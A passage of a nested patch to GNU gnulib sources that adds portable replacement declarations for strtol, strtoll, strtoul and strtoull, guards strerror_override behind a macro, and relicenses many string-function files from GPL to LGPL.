++# if !(defined __cplusplus && defined GNULIB_NAMESPACE)
++# undef reallocarray
++# define reallocarray rpl_reallocarray
++# endif
++_GL_FUNCDECL_RPL (reallocarray, void *,
++ (void *ptr, size_t nmemb, size_t size));
++_GL_CXXALIAS_RPL (reallocarray, void *,
++ (void *ptr, size_t nmemb, size_t size));
++# else
++# if ! @HAVE_REALLOCARRAY@
+ _GL_FUNCDECL_SYS (reallocarray, void *,
+ (void *ptr, size_t nmemb, size_t size));
+-# endif
++# endif
+ _GL_CXXALIAS_SYS (reallocarray, void *,
+ (void *ptr, size_t nmemb, size_t size));
++# endif
+ _GL_CXXALIASWARN (reallocarray);
+ #elif defined GNULIB_POSIXCHECK
+ # undef reallocarray
+@@ -1202,6 +1213,47 @@ _GL_WARN_ON_USE (strtold, "strtold is un
+ # endif
+ #endif
+
++#if @GNULIB_STRTOL@
++/* Parse a signed integer whose textual representation starts at STRING.
++ The integer is expected to be in base BASE (2 <= BASE <= 36); if BASE == 0,
++ it may be decimal or octal (with prefix "0") or hexadecimal (with prefix
++ "0x").
++ If ENDPTR is not NULL, the address of the first byte after the integer is
++ stored in *ENDPTR.
++ Upon overflow, the return value is LONG_MAX or LONG_MIN, and errno is set
++ to ERANGE. */
++# if @REPLACE_STRTOL@
++# if !(defined __cplusplus && defined GNULIB_NAMESPACE)
++# define strtol rpl_strtol
++# endif
++# define GNULIB_defined_strtol_function 1
++_GL_FUNCDECL_RPL (strtol, long,
++ (const char *restrict string, char **restrict endptr,
++ int base)
++ _GL_ARG_NONNULL ((1)));
++_GL_CXXALIAS_RPL (strtol, long,
++ (const char *restrict string, char **restrict endptr,
++ int base));
++# else
++# if !@HAVE_STRTOL@
++_GL_FUNCDECL_SYS (strtol, long,
++ (const char *restrict string, char **restrict endptr,
++ int base)
++ _GL_ARG_NONNULL ((1)));
++# endif
++_GL_CXXALIAS_SYS (strtol, long,
++ (const char *restrict string, char **restrict endptr,
++ int base));
++# endif
++_GL_CXXALIASWARN (strtol);
++#elif defined GNULIB_POSIXCHECK
++# undef strtol
++# if HAVE_RAW_DECL_STRTOL
++_GL_WARN_ON_USE (strtol, "strtol is unportable - "
++ "use gnulib module strtol for portability");
++# endif
++#endif
++
+ #if @GNULIB_STRTOLL@
+ /* Parse a signed integer whose textual representation starts at STRING.
+ The integer is expected to be in base BASE (2 <= BASE <= 36); if BASE == 0,
+@@ -1211,15 +1263,29 @@ _GL_WARN_ON_USE (strtold, "strtold is un
+ stored in *ENDPTR.
+ Upon overflow, the return value is LLONG_MAX or LLONG_MIN, and errno is set
+ to ERANGE. */
+-# if !@HAVE_STRTOLL@
++# if @REPLACE_STRTOLL@
++# if !(defined __cplusplus && defined GNULIB_NAMESPACE)
++# define strtoll rpl_strtoll
++# endif
++# define GNULIB_defined_strtoll_function 1
++_GL_FUNCDECL_RPL (strtoll, long long,
++ (const char *restrict string, char **restrict endptr,
++ int base)
++ _GL_ARG_NONNULL ((1)));
++_GL_CXXALIAS_RPL (strtoll, long long,
++ (const char *restrict string, char **restrict endptr,
++ int base));
++# else
++# if !@HAVE_STRTOLL@
+ _GL_FUNCDECL_SYS (strtoll, long long,
+ (const char *restrict string, char **restrict endptr,
+ int base)
+ _GL_ARG_NONNULL ((1)));
+-# endif
++# endif
+ _GL_CXXALIAS_SYS (strtoll, long long,
+ (const char *restrict string, char **restrict endptr,
+ int base));
++# endif
+ _GL_CXXALIASWARN (strtoll);
+ #elif defined GNULIB_POSIXCHECK
+ # undef strtoll
+@@ -1229,6 +1295,46 @@ _GL_WARN_ON_USE (strtoll, "strtoll is un
+ # endif
+ #endif
+
++#if @GNULIB_STRTOUL@
++/* Parse an unsigned integer whose textual representation starts at STRING.
++ The integer is expected to be in base BASE (2 <= BASE <= 36); if BASE == 0,
++ it may be decimal or octal (with prefix "0") or hexadecimal (with prefix
++ "0x").
++ If ENDPTR is not NULL, the address of the first byte after the integer is
++ stored in *ENDPTR.
++ Upon overflow, the return value is ULONG_MAX, and errno is set to ERANGE. */
++# if @REPLACE_STRTOUL@
++# if !(defined __cplusplus && defined GNULIB_NAMESPACE)
++# define strtoul rpl_strtoul
++# endif
++# define GNULIB_defined_strtoul_function 1
++_GL_FUNCDECL_RPL (strtoul, unsigned long,
++ (const char *restrict string, char **restrict endptr,
++ int base)
++ _GL_ARG_NONNULL ((1)));
++_GL_CXXALIAS_RPL (strtoul, unsigned long,
++ (const char *restrict string, char **restrict endptr,
++ int base));
++# else
++# if !@HAVE_STRTOUL@
++_GL_FUNCDECL_SYS (strtoul, unsigned long,
++ (const char *restrict string, char **restrict endptr,
++ int base)
++ _GL_ARG_NONNULL ((1)));
++# endif
++_GL_CXXALIAS_SYS (strtoul, unsigned long,
++ (const char *restrict string, char **restrict endptr,
++ int base));
++# endif
++_GL_CXXALIASWARN (strtoul);
++#elif defined GNULIB_POSIXCHECK
++# undef strtoul
++# if HAVE_RAW_DECL_STRTOUL
++_GL_WARN_ON_USE (strtoul, "strtoul is unportable - "
++ "use gnulib module strtoul for portability");
++# endif
++#endif
++
+ #if @GNULIB_STRTOULL@
+ /* Parse an unsigned integer whose textual representation starts at STRING.
+ The integer is expected to be in base BASE (2 <= BASE <= 36); if BASE == 0,
+@@ -1238,15 +1344,29 @@ _GL_WARN_ON_USE (strtoll, "strtoll is un
+ stored in *ENDPTR.
+ Upon overflow, the return value is ULLONG_MAX, and errno is set to
+ ERANGE. */
+-# if !@HAVE_STRTOULL@
++# if @REPLACE_STRTOULL@
++# if !(defined __cplusplus && defined GNULIB_NAMESPACE)
++# define strtoull rpl_strtoull
++# endif
++# define GNULIB_defined_strtoull_function 1
++_GL_FUNCDECL_RPL (strtoull, unsigned long long,
++ (const char *restrict string, char **restrict endptr,
++ int base)
++ _GL_ARG_NONNULL ((1)));
++_GL_CXXALIAS_RPL (strtoull, unsigned long long,
++ (const char *restrict string, char **restrict endptr,
++ int base));
++# else
++# if !@HAVE_STRTOULL@
+ _GL_FUNCDECL_SYS (strtoull, unsigned long long,
+ (const char *restrict string, char **restrict endptr,
+ int base)
+ _GL_ARG_NONNULL ((1)));
+-# endif
++# endif
+ _GL_CXXALIAS_SYS (strtoull, unsigned long long,
+ (const char *restrict string, char **restrict endptr,
+ int base));
++# endif
+ _GL_CXXALIASWARN (strtoull);
+ #elif defined GNULIB_POSIXCHECK
+ # undef strtoull
+--- a/gnulib/lib/stpcpy.c
++++ b/gnulib/lib/stpcpy.c
+@@ -5,17 +5,17 @@
+ NOTE: The canonical source of this file is maintained with the GNU C Library.
+ Bugs can be reported to bug-glibc@prep.ai.mit.edu.
+
+- This program is free software: you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as published by the
+- Free Software Foundation; either version 3 of the License, or any
+- later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/str-kmp.h
++++ b/gnulib/lib/str-kmp.h
+@@ -3,18 +3,26 @@
+ Copyright (C) 2005-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2005.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software.
++ It is dual-licensed under "the GNU LGPLv3+ or the GNU GPLv2+".
++ You can redistribute it and/or modify it under either
++ - the terms of the GNU Lesser General Public License as published
++ by the Free Software Foundation; either version 3, or (at your
++ option) any later version, or
++ - the terms of the GNU General Public License as published by the
++ Free Software Foundation; either version 2, or (at your option)
++ any later version, or
++ - the same dual license "the GNU LGPLv3+ or the GNU GPLv2+".
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
++ Lesser General Public License and the GNU General Public License
++ for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public
++ License and of the GNU General Public License along with this
++ program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Before including this file, you need to define:
+ UNIT The element type of the needle and haystack.
+--- a/gnulib/lib/str-two-way.h
++++ b/gnulib/lib/str-two-way.h
+@@ -3,18 +3,18 @@
+ This file is part of the GNU C Library.
+ Written by Eric Blake <ebb9@byu.net>, 2008.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Before including this file, you need to include <config.h> and
+ <string.h>, and define:
+--- a/gnulib/lib/strcasecmp.c
++++ b/gnulib/lib/strcasecmp.c
+@@ -1,18 +1,18 @@
+ /* Case-insensitive string comparison function.
+ Copyright (C) 1998-1999, 2005-2007, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+
+--- a/gnulib/lib/strcasestr.c
++++ b/gnulib/lib/strcasestr.c
+@@ -2,18 +2,18 @@
+ Copyright (C) 2005-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2005.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+
+--- a/gnulib/lib/strdup.c
++++ b/gnulib/lib/strdup.c
+@@ -3,18 +3,18 @@
+
+ This file is part of the GNU C Library.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _LIBC
+ # include <config.h>
+--- a/gnulib/lib/streq.h
++++ b/gnulib/lib/streq.h
+@@ -1,17 +1,17 @@
+ /* Optimized string comparison.
+ Copyright (C) 2001-2002, 2007, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as published
+- by the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>. */
+--- a/gnulib/lib/strerror-override.c
++++ b/gnulib/lib/strerror-override.c
+@@ -2,17 +2,17 @@
+
+ Copyright (C) 2010-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2010. */
+@@ -29,6 +29,8 @@
+ # endif
+ #endif
+
++#if !GNULIB_defined_strerror_override_macro
++
+ /* If ERRNUM maps to an errno value defined by gnulib, return a string
+ describing the error. Otherwise return NULL. */
+ const char *
+@@ -37,12 +39,12 @@ strerror_override (int errnum)
+ /* These error messages are taken from glibc/sysdeps/gnu/errlist.c. */
+ switch (errnum)
+ {
+-#if REPLACE_STRERROR_0
++# if REPLACE_STRERROR_0
+ case 0:
+ return "Success";
+-#endif
++# endif
+
+-#if GNULIB_defined_ESOCK /* native Windows platforms with older <errno.h> */
++# if GNULIB_defined_ESOCK /* native Windows platforms with older <errno.h> */
+ case EINPROGRESS:
+ return "Operation now in progress";
+ case EALREADY:
+@@ -89,8 +91,8 @@ strerror_override (int errnum)
+ return "No route to host";
+ case EWOULDBLOCK:
+ return "Operation would block";
+-#endif
+-#if GNULIB_defined_ESTREAMS /* native Windows platforms with older <errno.h> */
++# endif
++# if GNULIB_defined_ESTREAMS /* native Windows platforms with older <errno.h> */
+ case ETXTBSY:
+ return "Text file busy";
+ case ENODATA:
+@@ -103,8 +105,8 @@ strerror_override (int errnum)
+ return "Timer expired";
+ case EOTHER:
+ return "Other error";
+-#endif
+-#if GNULIB_defined_EWINSOCK /* native Windows platforms */
++# endif
++# if GNULIB_defined_EWINSOCK /* native Windows platforms */
+ case ESOCKTNOSUPPORT:
+ return "Socket type not supported";
+ case EPFNOSUPPORT:
+@@ -125,7 +127,7 @@ strerror_override (int errnum)
+ return "Stale NFS file handle";
+ case EREMOTE:
+ return "Object is remote";
+-# if HAVE_WINSOCK2_H
++# if HAVE_WINSOCK2_H
+ /* WSA_INVALID_HANDLE maps to EBADF */
+ /* WSA_NOT_ENOUGH_MEMORY maps to ENOMEM */
+ /* WSA_INVALID_PARAMETER maps to EINVAL */
+@@ -213,90 +215,92 @@ strerror_override (int errnum)
+ case WSANO_DATA:
+ return "Valid name, no data record of requested type";
+ /* WSA_QOS_* omitted */
++# endif
+ # endif
+-#endif
+
+-#if GNULIB_defined_ENOMSG
++# if GNULIB_defined_ENOMSG
+ case ENOMSG:
+ return "No message of desired type";
+-#endif
++# endif
+
+-#if GNULIB_defined_EIDRM
++# if GNULIB_defined_EIDRM
+ case EIDRM:
+ return "Identifier removed";
+-#endif
++# endif
+
+-#if GNULIB_defined_ENOLINK
++# if GNULIB_defined_ENOLINK
+ case ENOLINK:
+ return "Link has been severed";
+-#endif
++# endif
+
+-#if GNULIB_defined_EPROTO
++# if GNULIB_defined_EPROTO
+ case EPROTO:
+ return "Protocol error";
+-#endif
++# endif
+
+-#if GNULIB_defined_EMULTIHOP
++# if GNULIB_defined_EMULTIHOP
+ case EMULTIHOP:
+ return "Multihop attempted";
+-#endif
++# endif
+
+-#if GNULIB_defined_EBADMSG
++# if GNULIB_defined_EBADMSG
+ case EBADMSG:
+ return "Bad message";
+-#endif
++# endif
+
+-#if GNULIB_defined_EOVERFLOW
++# if GNULIB_defined_EOVERFLOW
+ case EOVERFLOW:
+ return "Value too large for defined data type";
+-#endif
++# endif
+
+-#if GNULIB_defined_ENOTSUP
++# if GNULIB_defined_ENOTSUP
+ case ENOTSUP:
+ return "Not supported";
+-#endif
++# endif
+
+-#if GNULIB_defined_ENETRESET
++# if GNULIB_defined_ENETRESET
+ case ENETRESET:
+ return "Network dropped connection on reset";
+-#endif
++# endif
+
+-#if GNULIB_defined_ECONNABORTED
++# if GNULIB_defined_ECONNABORTED
+ case ECONNABORTED:
+ return "Software caused connection abort";
+-#endif
++# endif
+
+-#if GNULIB_defined_ESTALE
++# if GNULIB_defined_ESTALE
+ case ESTALE:
+ return "Stale NFS file handle";
+-#endif
++# endif
+
+-#if GNULIB_defined_EDQUOT
++# if GNULIB_defined_EDQUOT
+ case EDQUOT:
+ return "Disk quota exceeded";
+-#endif
++# endif
+
+-#if GNULIB_defined_ECANCELED
++# if GNULIB_defined_ECANCELED
+ case ECANCELED:
+ return "Operation canceled";
+-#endif
++# endif
+
+-#if GNULIB_defined_EOWNERDEAD
++# if GNULIB_defined_EOWNERDEAD
+ case EOWNERDEAD:
+ return "Owner died";
+-#endif
++# endif
+
+-#if GNULIB_defined_ENOTRECOVERABLE
++# if GNULIB_defined_ENOTRECOVERABLE
+ case ENOTRECOVERABLE:
+ return "State not recoverable";
+-#endif
++# endif
+
+-#if GNULIB_defined_EILSEQ
++# if GNULIB_defined_EILSEQ
+ case EILSEQ:
+ return "Invalid or incomplete multibyte or wide character";
+-#endif
++# endif
+
+ default:
+ return NULL;
+ }
+ }
++
++#endif
+--- a/gnulib/lib/strerror-override.h
++++ b/gnulib/lib/strerror-override.h
+@@ -2,17 +2,17 @@
+
+ Copyright (C) 2010-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _GL_STRERROR_OVERRIDE_H
+@@ -51,6 +51,7 @@
+ extern const char *strerror_override (int errnum) _GL_ATTRIBUTE_CONST;
+ # else
+ # define strerror_override(ignored) NULL
++# define GNULIB_defined_strerror_override_macro 1
+ # endif
+
+ #endif /* _GL_STRERROR_OVERRIDE_H */
+--- a/gnulib/lib/strerror.c
++++ b/gnulib/lib/strerror.c
+@@ -2,17 +2,17 @@
+
+ Copyright (C) 2007-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/string.in.h
++++ b/gnulib/lib/string.in.h
+@@ -2,18 +2,18 @@
+
+ Copyright (C) 1995-1996, 2001-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #if __GNUC__ >= 3
+ @PRAGMA_SYSTEM_HEADER@
+@@ -446,7 +446,7 @@ _GL_WARN_ON_USE (strdup, "strdup is unpo
+ #elif @GNULIB_MDA_STRDUP@
+ /* On native Windows, map 'creat' to '_creat', so that -loldnames is not
+ required. In C++ with GNULIB_NAMESPACE, avoid differences between
+- platforms by defining GNULIB_NAMESPACE::creat always. */
++ platforms by defining GNULIB_NAMESPACE::strdup always. */
+ # if defined _WIN32 && !defined __CYGWIN__
+ # if !(defined __cplusplus && defined GNULIB_NAMESPACE)
+ # undef strdup
+--- a/gnulib/lib/strings.in.h
++++ b/gnulib/lib/strings.in.h
+@@ -2,18 +2,18 @@
+
+ Copyright (C) 2007-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _@GUARD_PREFIX@_STRINGS_H
+
+--- a/gnulib/lib/strncasecmp.c
++++ b/gnulib/lib/strncasecmp.c
+@@ -1,18 +1,18 @@
+ /* strncasecmp.c -- case insensitive string comparator
+ Copyright (C) 1998-1999, 2005-2007, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+
+--- a/gnulib/lib/strndup.c
++++ b/gnulib/lib/strndup.c
+@@ -3,18 +3,18 @@
+ Copyright (C) 1996-1998, 2001-2003, 2005-2007, 2009-2021 Free Software
+ Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as published by the
+- Free Software Foundation; either version 3, or (at your option) any
+- later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+
+--- a/gnulib/lib/strnlen.c
++++ b/gnulib/lib/strnlen.c
+@@ -2,18 +2,18 @@
+ Copyright (C) 2005-2007, 2009-2021 Free Software Foundation, Inc.
+ Written by Simon Josefsson.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+
+--- a/gnulib/lib/strnlen1.c
++++ b/gnulib/lib/strnlen1.c
+@@ -1,17 +1,17 @@
+ /* Find the length of STRING + 1, but scan at most MAXLEN bytes.
+ Copyright (C) 2005-2006, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/strnlen1.h
++++ b/gnulib/lib/strnlen1.h
+@@ -1,17 +1,17 @@
+ /* Find the length of STRING + 1, but scan at most MAXLEN bytes.
+ Copyright (C) 2005, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _STRNLEN1_H
+--- a/gnulib/lib/strstr.c
